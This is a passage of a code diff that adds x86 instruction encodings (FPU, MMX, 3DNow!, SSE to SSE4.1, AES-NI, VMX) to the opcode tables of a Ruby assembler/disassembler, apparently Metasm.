+ addop 'fcos', [0xD9, 0xFF], nil, :regfp0 + addop 'fdecstp', [0xD9, 0xF6] + addop_macrofpu1 'fdiv', 6 + addop_macrofpu1 'fdivr', 7 + addop 'fdivp', [0xDE, 0xF8], :regfp + addop 'fdivp', [0xDE, 0xF9] + addop 'fdivrp',[0xDE, 0xF0], :regfp + addop 'fdivrp',[0xDE, 0xF1] + addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp + addop_macrofpu2 'fiadd', 0 + addop_macrofpu2 'fimul', 1 + addop_macrofpu2 'ficom', 2 + addop_macrofpu2 'ficomp',3 + addop_macrofpu2 'fisub', 4 + addop_macrofpu2 'fisubr',5 + addop_macrofpu2 'fidiv', 6 + addop_macrofpu2 'fidivr',7 + addop 'fincstp', [0xD9, 0xF7] + addop 'fninit', [0xDB, 0xE3] + addop_macrofpu2 'fist', 2, 1 + addop_macrofpu3 'fild', 0 + addop_macrofpu3 'fistp',3 + addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fld', [0xD9, 0xC0], :regfp + + addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fldenv', [0xD9, 4<<3], :modrmA + addop 'fld1', [0xD9, 0xE8] + addop 'fldl2t', [0xD9, 0xE9] + addop 'fldl2e', [0xD9, 0xEA] + addop 'fldpi', [0xD9, 0xEB] + addop 'fldlg2', [0xD9, 0xEC] + addop 'fldln2', [0xD9, 0xED] + addop 'fldz', [0xD9, 0xEE] + addop_macrofpu1 'fmul', 1 + addop 'fmulp', [0xDE, 0xC8], :regfp + addop 'fmulp', [0xDE, 0xC9] + addop 'fnop', [0xD9, 0xD0] + addop 'fpatan', [0xD9, 0xF3] + addop 'fprem', [0xD9, 0xF8] + addop 'fprem1', [0xD9, 0xF5] + addop 'fptan', [0xD9, 0xF2] + addop 'frndint',[0xD9, 0xFC] + addop 'frstor', [0xDD, 4<<3], :modrmA + addop 'fnsave', [0xDD, 6<<3], :modrmA + addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fnstenv',[0xD9, 6<<3], :modrmA + addop 'fnstsw', [0xDF, 0xE0] + addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fscale', [0xD9, 0xFD] + addop 'fsin', [0xD9, 0xFE] + addop 'fsincos',[0xD9, 0xFB] + addop 'fsqrt', [0xD9, 0xFA] + addop('fst', [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fst', [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop 'fst', [0xD9, 0xD0], :regfp + addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fstp', [0xDD, 0xD8], :regfp + addop_macrofpu1 'fsub', 4 + addop 'fsubp', [0xDE, 0xE8], :regfp + addop 'fsubp', [0xDE, 0xE9] + addop_macrofpu1 'fsubp', 5 + addop 'fsubrp', [0xDE, 0xE0], :regfp + addop 'fsubrp', [0xDE, 0xE1] + addop 'ftst', [0xD9, 0xE4] + addop 'fucom', [0xDD, 0xE0], :regfp + addop 'fucomp', [0xDD, 0xE8], :regfp + addop 'fucompp',[0xDA, 0xE9] + addop 'fucomi', [0xDB, 0xE8], :regfp + addop 'fxam', [0xD9, 0xE5] + addop 'fxch', [0xD9, 0xC8], :regfp + addop 'fxtract',[0xD9, 0xF4] + addop 'fyl2x', [0xD9, 0xF1] + addop 'fyl2xp1',[0xD9, 0xF9] + # fwait prefix + addop 'fclex', [0x9B, 0xDB, 0xE2] + addop 'finit', [0x9B, 0xDB, 0xE3] + addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA + addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA + addop 'fstsw', [0x9B, 0xDF, 0xE0] + addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fwait', [0x9B] + end + + def init_486_only + init_cpu_constants + end + + def init_pentium_only + init_cpu_constants + + addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 } + # lock cmpxchg8b eax + #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] + + # mmx + addop 'emms', [0x0F, 0x77] + addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 } + addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 } + addop 'packssdw', [0x0F, 0x6B], :mrmmmx + addop 'packsswb', [0x0F, 0x63], :mrmmmx + addop 'packuswb', [0x0F, 0x67], :mrmmmx + addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx + addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx + addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx + addop 'pand', [0x0F, 0xDB], :mrmmmx + addop 'pandn', [0x0F, 0xDF], :mrmmmx + addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx + addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx + addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx + addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx + addop 'pmulhw',[0x0F, 0xE5], :mrmmmx + addop 'pmullw',[0x0F, 0xD5], :mrmmmx + addop 'por', [0x0F, 0xEB], :mrmmmx + [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val| + addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx + addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8 + } + addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx + addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx + addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx + addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx + addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx + addop 'pxor', [0x0F, 0xEF], :mrmmmx + end + + def init_p6_only + addop_macrotttn 'cmov', [0x0F, 0x40], :mrm + + %w{b e be u}.each_with_index { |tt, i| + addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp + addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp + } + addop 'fcomi', [0xDB, 0xF0], :regfp + addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop 'sysenter',[0x0F, 0x34] + addop 'sysexit', [0x0F, 0x35] + + addop 'syscall', [0x0F, 0x05] # AMD + addop_macroret 'sysret', [0x0F, 0x07] # AMD + end + + def init_3dnow_only + init_cpu_constants + + [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], + ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], + ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], + ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], + ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], + ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], + ['pmulhrw', 0xB7]].each { |str, bin| + addop str, [0x0F, 0x0F, bin], :mrmmmx + } + # 3dnow prefix fallback + addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8 + + addop 'femms', [0x0F, 0x0E] + addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA + addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA + end + + def init_sse_only + init_cpu_constants + + addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm + addop 'andnps', [0x0F, 0x55], :mrmxmm + addop 'andps', [0x0F, 0x54], :mrmxmm + addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8 + addop 'comiss', [0x0F, 0x2F], :mrmxmm + + addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } + addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } + addop('cvtss2si', [0x0F, 0x2D], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvttss2si',[0x0F, 0x2C], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + + addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm + addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA + addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm + addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm + addop 'movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]} + addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR + addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR + addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg + addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } + addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} + addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm + addop 'orps', [0x0F, 0x56], :mrmxmm + addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm + addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm + addop 'shufps', [0x0F, 0xC6], :mrmxmm, :u8 + addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm + addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA + addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm + addop 'ucomiss', [0x0F, 0x2E], :mrmxmm + addop 'unpckhps',[0x0F, 0x15], :mrmxmm + addop 'unpcklps',[0x0F, 0x14], :mrmxmm + addop 'xorps', [0x0F, 0x57], :mrmxmm + + # integer instrs, mmx only + addop 'pavgb', [0x0F, 0xE0], :mrmmmx + addop 'pavgw', [0x0F, 0xE3], :mrmmmx + addop 'pextrw', [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8 + addop 'pinsrw', [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8 + addop 'pmaxsw', [0x0F, 0xEE], :mrmmmx + addop 'pmaxub', [0x0F, 0xDE], :mrmmmx + addop 'pminsw', [0x0F, 0xEA], :mrmmmx + addop 'pminub', [0x0F, 0xDA], :mrmmmx + addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx + addop 'psadbw', [0x0F, 0xF6], :mrmmmx + addop 'pshufw', [0x0F, 0x70], :mrmmmx, :u8 + + addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR + addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! } + addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! } + addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA + addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA + addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA + addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA + addop 'sfence', [0x0F, 0xAE, 0xF8] + + # the whole row of prefetch is actually nops + addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1] # incl. official version = 0f1f mrm + addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1] + addop 'nop_d', [0x0F, 0x0D], :mrm + addop 'nop', [0x0F, 0x1C], 0 # official asm syntax is 'nop [eax]' + end + + def init_sse2_only + init_cpu_constants + + @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ } + + # mirror of the init_sse part + addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm + addop('andnpd', [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('andpd', [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8 + addop('comisd', [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 } + addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('cvtsd2si', [0x0F, 0x2D], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvttsd2si',[0x0F, 0x2C], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + + addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm) + addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + + addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm) + + addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm + addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm + addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm + addop('movapd', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movlpd', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop('movhpd', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 } + addop('movsd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 } + addop('movupd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm + addop('orpd', [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('shufpd', [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm + addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm + addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('xorpd', [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 } + addop('movdqu', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 } + addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 } + addop('movdq2q', [0x0F, 0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('movq', [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 } + addop('movq', [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 } + + addop 'paddq', [0x0F, 0xD4], :mrmmmx, :xmmx + addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx + addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 } + addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 } + addop('pshufd', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pslldq', [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('psrldq', [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop 'psubq', [0x0F, 0xFB], :mrmmmx, :xmmx + addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } + addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movnti', [0x0F, 0xC3], :mrm) { |o| o.args.reverse! } + addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } + addop 'lfence', [0x0F, 0xAE, 0xE8] + addop 'mfence', [0x0F, 0xAE, 0xF0] + end + + def init_sse3_only + init_cpu_constants + + addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + + addop 'monitor', [0x0F, 0x01, 0xC8] + addop 'mwait', [0x0F, 0x01, 0xC9] + + addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } + addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('lddqu', [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_ssse3_only + init_cpu_constants + + addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx + addop 'palignr', [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx + addop 'phaddd', [0x0F, 0x38, 0x02], :mrmmmx, :xmmx + addop 'phaddsw', [0x0F, 0x38, 0x03], :mrmmmx, :xmmx + addop 'phaddw', [0x0F, 0x38, 0x01], :mrmmmx, :xmmx + addop 'phsubd', [0x0F, 0x38, 0x06], :mrmmmx, :xmmx + addop 'phsubsw', [0x0F, 0x38, 0x07], :mrmmmx, :xmmx + addop 'phsubw', [0x0F, 0x38, 0x05], :mrmmmx, :xmmx + addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx + addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx + addop 'pshufb', [0x0F, 0x38, 0x00], :mrmmmx, :xmmx + addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx + end + + def init_aesni_only + init_cpu_constants + + addop('aesdec', [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenc', [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesimc', [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + + addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_vmx_only + init_cpu_constants + + addop 'vmcall', [0x0F, 0x01, 0xC1] + addop 'vmlaunch', [0x0F, 0x01, 0xC2] + addop 'vmresume', [0x0F, 0x01, 0xC3] + addop 'vmxoff', [0x0F, 0x01, 0xC4] + addop 'vmread', [0x0F, 0x78], :mrm + addop 'vmwrite', [0x0F, 0x79], :mrm + addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } + addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } + addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } + + addop 'getsec', [0x0F, 0x37] + + addop 'xgetbv', [0x0F, 0x01, 0xD0] + addop 'xsetbv', [0x0F, 0x01, 0xD1] + addop 'rdtscp', [0x0F, 0x01, 0xF9] + addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA + addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA + end + + def init_sse41_only + init_cpu_constants + + addop('blendpd', [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendps', [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('dppd', [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('dpps', [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 } + addop('mpsadbw', [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendw', [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpeqq', [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| 